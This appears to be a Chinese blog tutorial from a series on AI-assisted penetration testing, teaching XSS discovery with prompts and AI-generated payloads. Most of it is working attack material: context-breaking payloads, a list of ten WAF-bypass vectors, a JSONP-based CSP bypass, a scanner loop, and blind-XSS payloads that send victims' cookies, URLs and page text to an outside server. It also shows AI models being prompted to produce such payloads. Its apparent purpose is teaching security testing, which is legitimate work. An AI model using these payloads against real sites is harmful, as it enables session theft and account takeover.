一句话:XSS 的难点从来不是 payload,而是"找到那个会被渲染的输入点,并搞清它的输出上下文"。

一、XSS 挖掘的两个核心问题

  1. 找点:哪些参数会被回显到页面?(反射/存储/DOM)
  2. 定上下文:回显在 HTML 文本、属性、JS 字符串、还是 URL 里?

传统扫描器能做第 1 步,第 2 步经常误判——因为它只会无脑塞 <script>alert(1)</script>

AI 能帮你精确定位上下文并生成对应 payload。

二、让 AI 做输出上下文分析

把响应片段喂给 AI:

# 输入
用户输入:`test123`
服务端响应片段:
```html
<input type="text" value="test123" data-id="5">
<script>var name = 'test123';</script>

任务

  1. 判断该输入出现在哪些输出上下文中
  2. 对每个上下文,给出最小的有效 XSS Payload
  3. 说明为什么其他上下文的 payload 在这里无效

AI 输出:

| 上下文 | 位置 | Payload | 说明 |
| --- | --- | --- | --- |
| HTML 属性(双引号内) | `value="..."` | `"><svg onload=alert(1)>` | 需先闭合属性再闭合标签 |
| JS 字符串(单引号内) | `'...'` | `';alert(1)//` | 闭合字符串即可 |

**关键点**:AI 能解释"为什么 `<script>alert(1)</script>` 在属性里无效",这对新手极有价值。

## 三、DOM XSS 的 AI 辅助

DOM XSS 完全在浏览器端,扫描器很难处理。让 AI 分析 JS 代码:

```markdown
# 输入
前端 JS 代码:
```javascript
const hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;

任务

判断是否存在 DOM XSS,给出触发 URL 和 payload。


AI 会直接给出:`https://target/#<img src=x onerror=alert(1)>`。

更进一步,让 AI 扫整个前端 bundle:

```markdown
# 任务
以下是前端打包后的 JS(可能被压缩)。找出所有
"source → sink" 组合:
source: location.hash/href/search, document.referrer, postMessage, window.name
sink: innerHTML, outerHTML, document.write, eval, setTimeout(string), setAttribute

输出可疑组合及触发路径。

AI 能读压缩代码(理解力强),这是它的优势场景。

四、WAF/CSP 绕过的 AI 生成

4.1 WAF 绕过

# 背景
WAF 拦截:`<script`、`onerror`、`alert`、`javascript:`
但未拦截:`<svg`、`<img`、`onload`、`confirm`、事件属性

# 任务
给出 10 条绕过 Payload,全部不包含被拦截的关键字。

典型输出:

<svg/onload=confirm(1)>
<img src=x onload=confirm(1)>
<details open ontoggle=confirm(1)>
<video><source onerror=confirm(1)>
<iframe srcdoc="<img src=1 onerror=confirm(1)>">
<xss id=x tabindex=1 onfocus=confirm(1)>
<body onpageshow=confirm(1)>
<input autofocus onfocus=confirm(1)>
<marquee onstart=confirm(1)>
<math><mtext><table><mglyph><style><!--</style><img src=1 onerror=confirm(1)>

4.2 CSP 绕过

# 背景
目标 CSP: 
script-src 'self' https://cdn.trusted.com; 
object-src 'none'; base-uri 'self'

# 任务
分析该 CSP 的弱点,给出绕过思路。

AI 会指出:

  • cdn.trusted.com 若是公共 CDN(如 jsdelivr/angular),可上传 JSONP 或 Angular 库绕过
  • 若存在 JSONP 端点,可用 <script src="https://cdn.trusted.com/jsonp?callback=alert(1)//">
  • 检查是否有 unsafe-inline 遗漏点

这类推理需要结合 CSP 规范和 CDN 生态知识,AI 表现很好。

五、盲打 XSS:AI 帮你构造外带 Payload

盲 XSS(Blind XSS)需要把数据外带到自己的服务器。

# 任务
构造一个盲 XSS Payload,要求:
1. 不依赖 alert(后台无交互)
2. 把 document.cookie、当前 URL、DOM 内容外带到 
   https://my-server.com/log
3. 尽量短,避免被长度限制截断
4. 兼容现代浏览器

AI 输出:

<script>fetch('https://my-server.com/log?c='+btoa(document.cookie+'|'+location.href)+'&d='+btoa(document.body.innerText.slice(0,500)))</script>

更短的:

<img src=x onerror="new Image().src='//my-server.com/l?'+btoa(document.cookie)">

六、存储型 XSS 的业务链路分析

让 AI 理解业务流程,找出"输入点"和"输出点"分离的场景:

# 输入
系统功能:
1. 用户提交工单(标题、内容)
2. 客服后台查看工单列表
3. 管理员导出工单为 HTML 报表

# 任务
分析哪个环节存在存储型 XSS,以及能否命中后台/管理员。

AI 会指出:导出 HTML 报表环节如果未转义,管理员打开报表即触发——这是典型的高价值存储型 XSS(打后台)

七、自动化:把 AI 接进扫描流程

def ai_xss_scan(url, params):
    for param in params:
        # 1. 先发探针,获取输出上下文
        probe = "AI_PROBE_1337"
        resp = requests.get(url, params={param: probe})
        
        if probe not in resp.text:
            continue  # 不回显,跳过
        
        # 2. 提取上下文片段
        idx = resp.text.find(probe)
        context = resp.text[max(0, idx-200): idx+200]
        
        # 3. 让 AI 分析上下文并生成 payload
        payload = ai_generate_xss_payload(context, probe)
        
        # 4. 验证
        verify = requests.get(url, params={param: payload})
        if is_xss_executable(verify.text, payload):
            print(f"[XSS] {param} -> {payload}")

核心创新:不是盲猜 payload,而是基于实际输出上下文生成。误报率远低于传统扫描器。

八、小结

XSS 的 AI 增效点:

环节 传统方式 AI 方式
上下文判断 正则猜测 语义理解,准确
Payload 生成 字典穷举 按上下文定制
DOM XSS 基本放弃 读 JS 找 source/sink
CSP 绕过 靠经验 结合 CDN 生态推理
盲打 模板套用 按场景定制外带

下一篇:AI 辅助 SSRF 与越权挖掘。


系列文章:AI 渗透测试与漏洞挖掘实战